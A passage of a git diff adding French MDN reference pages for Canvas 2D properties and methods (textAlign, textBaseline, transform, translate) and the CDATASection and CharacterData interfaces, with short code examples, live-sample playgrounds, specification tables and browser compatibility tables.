+ <dd>Le texte est aligné à la fin normale de la ligne (aligné à droite pour les systèmes d'écriture de gauche à droite, aligné à gauche pour les systèmes d'écriture de droite à gauche).</dd>
+</dl>
+
+<p>La valeur pa défaut est <code>start</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_textAlign_property" name="Using_the_textAlign_property">Utilisation de la propriété <code>textAlign</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la propriété <code>textAlign pour indiquer un alignement de texte</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<p>Modifier le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.textAlign")}}</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.html b/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.html
new file mode 100644
index 0000000000..9c7f8e41ea
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/textbaseline/index.html
@@ -0,0 +1,184 @@
+---
+title: CanvasRenderingContext2D.textBaseline
+slug: Web/API/CanvasRenderingContext2D/textBaseline
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/textBaseline
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textBaseline</code></strong> de l'API Canvas 2D spécifie la ligne de base de texte à utiliser lors du dessin d'un texte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.textBaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom";</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<p>Valeurs possibles :</p>
+
+<dl>
+ <dt>top</dt>
+ <dd>La ligne de base du texte est le haut du cadratin.</dd>
+ <dt>hanging</dt>
+ <dd>La ligne de base du texte est la ligne de base supérieure.</dd>
+ <dt>middle</dt>
+ <dd>La ligne de base du texte est le milieu du cadratin.</dd>
+ <dt>alphabetic</dt>
+ <dd>La ligne de base du texte est la ligne de base normale alphabétique.</dd>
+ <dt>ideographic</dt>
+ <dd>La ligne de base du texte est la ligne de base idéographique ; c'est le bas du corps des caractères, si le corps principal des caractères fait saillie en dessous de la ligne de base alphabétique.</dd>
+ <dt>bottom</dt>
+ <dd>La ligne de base du texte est le bas du cadre. Cela diffère de ligne de base idéographique en ce que la ligne de base idéographique ne prend pas en considération les jambages.</dd>
+</dl>
+
+<p>La valeur par défaut est <code>alphabetic</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_textBaseline_property" name="Using_the_textBaseline_property">Utilisation de la propritété <code>textBaseline</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la propriété <code>textBaseline</code> pour définir un réglage différent de ligne de base de texte.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.textBaseline = 'hanging';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.textBaseline = 'hanging';
+ctx.strokeText('Hello world', 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/transform/index.html b/files/fr/web/api/canvasrenderingcontext2d/transform/index.html
new file mode 100644
index 0000000000..fa60151b13
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/transform/index.html
@@ -0,0 +1,136 @@
+---
+title: CanvasRenderingContext2D.transform()
+slug: Web/API/CanvasRenderingContext2D/transform
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/transform
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <strong>CanvasRenderingContext2D.transform ()</strong> de l'API Canvas 2D multiplie la matrice de transformation courante par la matrice décrite par les arguments de cette méthode. Vous pouvez mettre à l'échelle, faire pivoter, déplacer et incliner le contexte.</p>
+
+<p>Voir aussi la méthode {{domxref ("CanvasRenderingContext2D.setTransform()", "setTransform()")}} qui réinitialise la transformation courante à la matrice identité puis invoque <code>transform()</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.transform(a, b, c, d, e, f);</var>
+</pre>
+
+<p>La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>Échelle horizontale.</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>Inclinaison horizontale.</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>Inclinaison verticale.</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>Échelle verticale.</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>Déplacement horizontal.</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>Déplacement vertical.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_transform">Utilisation de la méthode <code>transform</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la méthode <code>transform</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.transform(1, 1, 0, 1, 0, 0);
+ctx.fillRect(0, 0, 100, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.transform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.save();
+  eval(textarea.value);
+  ctx.restore();
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  ctx.setTransform(1, 0, 0, 1, 0, 0);
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-transform", "CanvasRenderingContext2D.transform")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.transform")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.setTransform()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/translate/index.html b/files/fr/web/api/canvasrenderingcontext2d/translate/index.html
new file mode 100644
index 0000000000..6146a88b6c
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/translate/index.html
@@ -0,0 +1,126 @@
+---
+title: CanvasRenderingContext2D.translate()
+slug: Web/API/CanvasRenderingContext2D/translate
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/translate
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <strong>CanvasRenderingContext2D.translate()</strong> de l'API Canvas 2D ajoute une transformation de translation en déplaçant le canevas et son origine x horizontalement et y verticalement sur la grille.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.translate(x, y);</var>
+</pre>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;"></p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Distance de déplacement dans le sens horizontal.</dd>
+ <dt>y</dt>
+ <dd>Distance de déplacement dans le sens vertical.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_translate">Utilisation de la méthode <code>translate</code></h3>
+
+<p>Il s'agit seulement d'un extrait de code simple qui utilise la méthode translate.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.translate(50, 50);
+ctx.fillRect(0, 0, 100, 100);
+
+// Réinitialise la matrice de transformation en cours à la matrice identité
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct sur le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.translate(50, 50);
+ctx.fillRect(0,0,100,100);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-translate", "CanvasRenderingContext2D.translate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.translate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/cdatasection/index.html b/files/fr/web/api/cdatasection/index.html
new file mode 100644
index 0000000000..2f1d631cef
--- /dev/null
+++ b/files/fr/web/api/cdatasection/index.html
@@ -0,0 +1,85 @@
+---
+title: CDATASection
+slug: Web/API/CDATASection
+tags:
+  - API
+  - DOM
+  - Interface
+  - Référence(2)
+  - Section
+translation_of: Web/API/CDATASection
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <code><strong>CDATASection</strong></code> représente une section CDATA qui peut être utilisée dans un document XML afin d'inclure des portions de texte qui ne sont pas échappées (les symboles &lt; et &amp; présents dans ces portions n'ont pas besoin d'être échappés comme ils doivent l'être normalement dans un document XML).</p>
+
+<p>En termes de balisage, une section CDATA a la forme suivante :</p>
+
+<pre class="syntaxbox">&lt;![CDATA[  ... ]]&gt;
+</pre>
+
+<p>Par exemple :</p>
+
+<pre class="brush:xml">&lt;toto&gt;
+  Voici une section CDATA :
+  &lt;![CDATA[  &lt; &gt; &amp; ]]&gt; dans laquelle
+  le texte n'est pas échappé.
+&lt;/toto&gt;
+</pre>
+
+<p>La seule séquence qui n'est pas autorisée dans une section CDATA est le délimiteur de fin d'une séquence CDATA lui-même :</p>
+
+<pre class="brush:xml">&lt;![CDATA[  ]]&gt; causera une erreur   ]]&gt;
+</pre>
+
+<p>On notera que les sections ne doivent pas être utilisées dans des documents HTML.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface ne dispose pas de propriétés spécifiques et implémente celles de son parent : {{domxref("Text")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface ne dispose pas de méthodes spécifiques et implémente celles de son parent : {{domxref("Text")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-cdatasection', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Rajouté dans le bogue <a href="https://github.com/whatwg/dom/pull/295">#295</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aucune modification depuis {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Aucune modification depuis {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CDATASection")}}</p>
diff --git a/files/fr/web/api/characterdata/index.html b/files/fr/web/api/characterdata/index.html
new file mode 100644
index 0000000000..2357484722
--- /dev/null
+++ b/files/fr/web/api/characterdata/index.html
@@ -0,0 +1,159 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+tags:
+  - API
+  - DOM
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>L'interface abstraite <code><strong>CharacterData</strong></code> représente un objet {{domxref("Node")}} (<em>noeud</em>) qui contient des caractères. C'est une interface abstraite, ce qui signifie qu'il n'existe aucun objet de type <code>CharacterData</code> : elle est implémentée par d'autres interfaces comme {{domxref("Text")}}, {{domxref("Comment")}} ou {{domxref("ProcessingInstruction")}} qui ne sont pas abstraites.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent {{domxref("Node")}} et implémente les interfaces {{domxref("ChildNode")}} et {{domxref("NonDocumentTypeChildNode")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) representant les données textuelles contenues dans cet objet.</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd>Retourne un <code>unsigned long</code> représentant la taille de la chaîne de caractères contenue dans <code>CharacterData.data</code>.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Retourne l'{{domxref("Element")}} immédiatement après celui spécifié dans la liste des enfants de son parent, ou <code>null</code> si l'élément spécifié est le dernier de la liste.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Retourne l'{{domxref("Element")}} immédiatement avant celui spécifié dans la liste des enfants de son parent, ou <code>null</code> si l'élément spécifié est le premier de la liste.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref("Node")}}, et implémente les interfaces {{domxref("ChildNode")}} <em>et {{domxref("NonDocumentTypeChildNode")}}</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>Ajoute la {{domxref("DOMString")}} (<em>chaîne de caractères</em>) donnée à la chaîne <code>CharacterData.data</code> ; dans le retour de la méthode, <code>data</code> contient la {{domxref("DOMString")}} concaténée .</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd>Supprime la quantité spécifiée de caractères, en commençant au point désigné, à partir de la chaîne <code>CharacterData.data</code> ; dans le retour de la méthode, <code>data</code> contient le raccourci {{domxref ("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd>Insère les caractères spécifiés, au point désigné, dans la chaîne <code>CharacterData.data</code> ; dans le retour de cette méthode, <code>data</code> contient la {{domxref ("DOMString")}} (<em>chaîne de caractères</em>) modifiée.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Supprime l'objet de la liste d'enfants de son parent.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>Remplace la quantité spécifiée de caractères, en commençant au point désigné, avec la {{domxref ("DOMString")}} (<em>chaîne de caractères</em>) spécifiée ; dans le retour de cette méthode, <code>data</code> contient la {{domxref ("DOMString")}} modifiée.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd>Renvoie une {{domxref ("DOMString")}} (<em>chaîne de caractères</em>) contenant la partie de <code>CharacterData.data</code> de la longueur spécifiée et commençant au point désigné.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Ajoute une implémention des interfaces {{domxref("ChildNode")}} et{{domxref("NonDocumentTypeChildNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}} interface.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}} interface.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les deux propriétés <code>nextElementSibling</code> et <code>previousElementSibling</code> ont été déplacées vers l'interface {{domxref("NonDocumentTypeChildNode")}}, également implémentée par <code>CharacterData</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
